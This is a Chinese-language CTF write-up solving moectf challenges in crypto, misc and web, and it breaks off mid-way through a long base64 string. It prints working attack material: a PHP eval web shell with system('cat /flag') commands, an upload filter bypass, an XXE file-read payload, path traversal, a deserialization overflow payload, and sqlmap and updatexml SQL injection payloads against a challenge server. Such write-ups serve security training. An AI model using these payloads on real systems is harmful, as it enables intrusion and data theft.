moectf

CLassical Crypto – ezrot

得到一个密文

1
>@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

经过查询得知使用的是ROT5/13/18/47加密,使用ROT47方法解密即可得到flag
flag

1
moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}

web–http

1
2
3
4
5
6
7
8
9
this is GET method,
your mission:

1.use parameter: UwU=u
2.post **form**: Luv=u
3.use admin character
4.request from 127.0.0.1
5.use browser 'MoeBrowser'
Complete All Missions

进入环境之后给了我们这些任务,完成即可
第一个
GET:?UwU=u
第二个
POST:
Luv=u
第三个
burp抓包把cookie里的character=guest改为admin
第四个
继续抓包,在下面空行里加一个X-forwarded-for: 127.0.0.1
注:X-forwarded-for: 127.0.0.1要插到前面,插到后面的话会加载不出来,不到什么原理🥶
第五个
修改UA头换成MoeBrowser即可
Brilliant! Now I give you my flag: moectf{basic_http_knowledge_S0y4sE6ZlBM9RDemgwzNI0BOR4E4CJ7U}

web–web入门指北

下载一个zip文件
打开是个pdf,其他的不用管,直接翻到最下面

1
2
666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c513152475831637959
6c396a61474673624756755a3055684958303d

这样一番代码
先字符解码,获得如下

1
flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

试一下最常用的base64

获取
moectf{w3lCome_To_moeCTF_W2b_challengE!!}

web–彼岸的flag

hint说粗心的出题人在这个聊天平台不小心泄露了自己的flag
然后搜了半天cms识别和ico文件
结果没想到flag竟然藏在了源码里。。。

1
经过tracker,破获出内容为moectf{find_comments_xlOHEvYhaGNpeEdzZmoT5gIb4CS3ZPmY}

竟然是撤回的消息

web–cookie

压缩包内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
## 一些api说明

注册 `POST /register`
json
{
"username":"koito",
"password":"123456"
}


登录 `POST /login`
json
{
"username":"koito",
"password":"123456"
}


获取flag `GET /flag`

查询服务状态 `GET /status`

先登录/register
注册一下
hint说了readme只是一个样例,不是拿来复制的
我们把参数改一改
POST提交

1
2
3
4
{
"username":"zijie",
"password":"123456"
}

error与data都是ok,没问题
然后/login再重复操作
如果使用的是burp抓包,建议进入/flag后检查一下是POST还是GET,README给我们的是GET,那么我们使用GET,进入flag后页面提示{“error”: “ok”, “data”: {“flag”: “flag{sorry_but_you_are_not_admin}”}}
这里我们改一下cookie里的token,如果抓到了character=guest;需要把guest也改为admin
token使用base64编码,解码后为

1
{"username": "zijie", "password": "123456", "role": "user"}

将user改为admin后重新base64编码放回token
成功获取flag

1
{"error": "ok", "data": {"flag": "moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}"}}

Classical Crypto –皇帝的新密码

打开压缩包得到一个密文

1
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

发现这是凯撒密码,发现一个新的解密网站,它可以把结果都列出来
传送门

找到moectf的flag模板

1
moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}

web–moe图床

文件上传题,url输入/upload.php可以查看源码,或者可以burpsuite抓包修改上传文件的name参数后页面会回显源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];

if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}

if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}

$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);

if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>

expload()函数为把字符串打散为数组

1
2
3
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}

以上源代码最重要的是绕过这个函数,$secondSegment为expload()分开的数组的第二个数组,也就是第一个.后面的字符串必须为png,那么我们提交2.png,提交成功,burpsuite抓包,把2.png后加为.php,是为2.png.php,如果直接提交2.png.php,会被识别出来
2.png

1
<?php eval($_POST[a]);?>

进入/uploads/2.png.php
输入命令

1
2
3
4
POST
a=phpinfo();
a=system("ls /");
a=system("cat /flag");

cat flag

1
moectf{hmmm_improper_filter_DZlYPmdEjJNm86KgZDvyhzd9sQL_5Wep} 

web – gas!gas!gas!

这题需要写一个python脚本,出题人给出了解题方法
转弯漂移方向相反,油门大抓地小,油门小抓地大
源码中可以看到加减油门和方向的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import re
a=requests.session()
url='http://localhost:50262'

data={
"driver":'213',
"steering_control":'1',
"throttle":'0'
}


while 1:
s=a.post(url=url,data=data)
if 'moectf' in s.text:
print(s.text)
break
pipei=re.findall("<font color=\"red\">([\u4e00-\u9fa5!,]+)",s.text) # \u4e00-\u9fa5为unicode的中文编码区间
print(data)
print(pipei)
if '左' in pipei[0]:
data["steering_control"]='1'
if '右' in pipei[0]:
data["steering_control"]='-1'
if '小' in pipei[0]:
data["throttle"]='0'
if '大' in pipei[0]:
data["throttle"]='2'
if '保持' in pipei[0]:
data["throttle"]='1'
if '直行' in pipei[0]:
data["steering_control"]='0'

使用session.post而不是requests.post,因为requests.post在调用完成后就关闭了connect,cookies也随着被删除
而Session.Post() 调用后,保持会话连接,保存cookies,而cookies记录了你的用户名、密码、浏览的网页、停留的时间等等信息。
如果使用requests.post,在运行完成后,不会回显s.text
session.post与requests.post原文

flag

1
这是你的奖励! moectf{Beautiful_Drifting!!_9nukWEcmlHZu85tOOipl_JpkwH3r2GUf}

Misc –打不开的图片1

打开压缩包,找到一个不带文件格式的flag文件,加上文件后缀.jpg和.png都显示不了图片,使用记事本打开发现有一串字符比较可疑

1
6 d 6 f 6 5 6 3 7 4 6 6 7 b 5 8 4 4 5 5 5 f 6 9 3 5 5 f 7 6 3 3 7 2 7 9 5 f 3 6 6 5 4 0 7 5 3 2 6 9 6 6 7 5 3 1 7 d   

去除空格后通过字符解码得到flag

1
moectf{XDU_i5_v3ry_6e@u2ifu1}

方法二:
用notepad++十六进制打开flag,发现第一行和.jpg格式十分相像

找一张电脑jpg图片第一行代码

对比发现flag少了d8 和ff,插入到ff和e0中
保存退出,改为jpg格式即可
这时就可以看见图片了,但flag不在图片中

同样的,使用字符解码即可得到flag

Misc –打不开的图片2

使用notepad++打开flag.jpg
发现第一行类似于png格式

再找一个.png后缀的文件进行对比

把前4列改了
使用png或jpg格式打开

Misc –狗子(1)普通的猫

hint中给了提示,那么我们直接十六进制打开
ctrl+f直接搜moe
成功找到

1
moectf{eeeez_f1ag_as_A_G1ft!} 

记事本也能找到

Misc –building_near_lake

看到tips:这图是可以放大的
首先想到flag可能藏在以显示的图片外,修改分辨率,发现并没有
那就利用互联网的优势,使用百度搜图

提取关键词,厦门大学,翔安校区,放大图看这是个图书馆,百度搜索翔安校区只有一个图书馆,启动坐标工具,经度为118.312,纬度为24.606
拍摄设备的发布会时间(8位数字,如2018年5月6日则为“20180506”)
注意是拍摄设备的发布会时间,而不是拍摄时间,我们把图片用记事本打开,可以找到类似的手机型号Redmi K60E,继续百度搜索

将三个问题回答后得到flag

1
moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}

web–了解你的座驾

下翻到XDU moeCTF Flag 获得信息flag掉到根目录里
用burpsuite抓取到post,xml_content=<xml><name>XDU moeCTF Flag</name></xml>
xml对应的是xxe漏洞
用一个xxe漏洞模板

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<yasuo>
<name>&cmd;</name>
</yasuo>

但不能直接提交上去,如果提交上去会报错
使用url编码(所有字符)
用burpsuite提交,hackbar有点问题

1
2
post:
xml_content=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0A%3C%21DOCTYPE%20XXE%20%5B%0A%3C%21ENTITY%20cmd%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Cyasuo%3E%0A%3Cname%3E%26cmd%3B%3C%2Fname%3E%0A%3C%2Fyasuo%3E%0A

flag:

1
moectf{Which_one_You've_Chosen?XzYkzCjh8V9GublHShh_IiKQF5RMNKwV}

web–大海捞针

题目告诉了需要使用爆破
use /?id=<1-1000> to connect to different parallel universes
(it might seem wired that the index is between 1 and 1000…)
进入题目也说明了flag藏在这1000个页面中
随便输入一个?id=1抓包

send后进入intruder

使用sniper方法爆破id
payloads配置如下:

即可开始爆破
发现id=163 len不同

response查看找出flag

Flag:

1
moectf{script_helps_ULOZw7NrjEIKRZ4V}

web–meo图床

本题似乎对文件后缀没有过滤,提交1.php也可以,但它对内容有筛查,1.php中加入GIF89A以绕过
1.php

1
2
GIF89A
<?php eval($_POST[a]);?>

进入提交的目录,蚁剑和命令执行都不能用
右键复制图像,在电脑上用记事本打开
发现了我们注入的信息

1
2
GIF89A
<?php eval($_POST[a]);?>

随便改改url,把name删掉一两个或改一改
出现报错信息,看看有无利用的点

file_get_contents函数可以帮助我们读取文件信息
payload:

1
2
GET
images.php?name=../../../flag

右键复制图像,在电脑上用记事本打开

1
2
3
4
5
6
7
8
hello~
Flag Not Here~
Find Somewhere Else~


<!--Fl3g_n0t_Here_dont_peek!!!!!.php-->

Not Here~~~~~~~~~~~~~ awa

进入Fl3g_n0t_Here_dont_peek!!!!!.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];

if ($param1 !== $param2) {

$md5Param1 = md5($param1);
$md5Param2 = md5($param2);

if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}

?>

简单的MD5漏洞,直接数组绕过即可
payload:

1
2
Get
?param1[]=123&param2[]=456

flag

1
moectf{oops_file_get_contents_controllable_DkqCQ6g402lwjecsaxLO7AU6x-_7n9Ok}

web–夺命十三枪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...

这里require_once中有一个可进入的php
先不管,往下看看到serialize和unserialize,这是一个反序列化类型题
再进入Hanxin.exe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

通过代码可知要让spear_Owner===’Maolei’才能得到flag
而这个值为nobody,我们不可以直接改变。
再看上面的class

1
2
3
4
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;

foreach 语法结构提供了遍历数组的简单方式。foreach 循环只适用于数组,并用于遍历数组中的每个键/值对.

1
2
3
4
5
6
7
8
9
10
11
<?php
$age=array("Bill"=>"63","Steve"=>"56","Elon"=>"47");

foreach($age as $x=>$x_value) {
echo "Key=" . $x . ", Value=" . $x_value;
echo "<br>";
}?
结果为:
Key=Bill, Value=63
Key=Steve, Value=56
Key=Elon, Value=47

最重要的是这一语句

1
$move = str_replace($index, $movement, $move); 

看到str_replace和serialize就知道这是一个反序列化字符溢出漏洞
接下来着手构造
截取序列化字符

1
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}

截取";s:11:"Spear_Owner";s:6:"Nobody";}为35字符,我们要把这35个字符挤出
然后换为我们需要它的值";s:11:"Spear_Owner";s:6:"MaoLei";}

1
2
3
4
5
6
7
8
9
10
11
12
13
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"

在这里面找一个前面比后面短的
以第一枪!!举例:
前比后少一
那么输出35遍前才能把35字符挤出(注:35遍后需要把我们改变的值加在后面)
payload:

1
?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

flag

1
moectf{C00L_b0Y!_AsgCuAg60YxVeSqKZqV8kZK1n-t-IlAA}

第七枪!!
前比后少5
输出7遍
payload:

1
?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

web –出去旅游的心海

进入wordpress,F12找到一个php文件

进入找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

先附上一个sqlmap使用方法
根据末尾提示测试发现time存在报错注入,使用sqlmap

查看数据库

1
python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" --dbs --batch

–data:通过POST提交数据
–dbs:枚举DBMS所有的数据库
–batch:测试过程中, 执行所有默认配置

1
2
3
4
available databases [3]:
[*] information_schema
[*] performance_schema
[*] wordpress

查看数据库里面的表

1
python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress --tables --batch

–tables:枚举DBMS数据库中所有的表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+-----------------------+
| secret_of_kokomi |
| visitor_records |
| wp_commentmeta |
| wp_comments |
| wp_e_events |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_snippets |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+

查看数据库表里的列

1
python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress -T secret_of_kokomi --columns

–columns :枚举DBMS数据库表中所有的列

1
2
3
4
5
6
+---------+------+
| Column | Type |
+---------+------+
| content | text |
| id | int |
+---------+------+

查看数据库列里面的具体的值

1
python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress -T secret_of_kokomi -C content --dump

–dump:存储DBMS数据库的表中的条目

1
2
3
4
5
6
7
+----------------------------------------------------+
| content |
+----------------------------------------------------+
| moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!} |
| paimengkanqilaihaohaochi |
| woshishuimubushiyu~ |
+----------------------------------------------------+

手注sql

通过updatexml函数查询具体的数值

查询当前数据库的所有表

1
2
3
ip=1&user_agent=1&time=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

//~secret_of_kokomi,visitor_record

查询secret_of_kokomi表的字段

1
2
3
ip=1&user_agent=1&time=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='secret_of_kokomi'),0x7e),1)

//'~content,id~

查询数据

1
2
3
ip=1&user_agent=1&time=1 and updatexml(1,right(concat(0x7e,(select group_concat(content,0x7e,id) from secret_of_kokomi)),60),1)

//moectf{Dig_Thr0ugh_Eve2y_C0de
1
2
3
ip=1&user_agent=1&time=1 and updatexml(1,right(concat(0x7e,(select group_concat(content,0x7e,id) from secret_of_kokomi)),30),1)

y_C0de_3nd_Poss1bIlIti3s!!}

将flag拼接即可

flag

1
moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}

web–signin

题目中有一个python文件,先代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
FLAG = f.read().strip()

def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW1